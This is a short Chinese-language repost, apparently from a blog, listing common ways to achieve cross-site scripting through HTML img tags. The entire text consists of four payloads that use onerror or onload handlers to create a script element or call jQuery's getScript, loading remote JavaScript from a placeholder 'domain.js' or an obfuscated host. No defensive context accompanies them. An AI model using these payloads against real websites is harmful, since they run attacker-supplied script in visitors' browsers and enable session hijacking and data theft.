使用img標簽實現xss的常見方法

<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="domain.js"></img>
<img src="#" onerror="var a=String.fromCharCode(47);$.getScript(a+a+'domain.sj'+a+'4091')">

<img src="#" onload="s=document.createElement('script');s.src='domain.js'+Math.random();document.body.appendChild(s)" border="0">
<img src=i onerror=eval(jQuery.getScript('domain.js'))>

轉自 : https://www.jozxing.cc/archives/872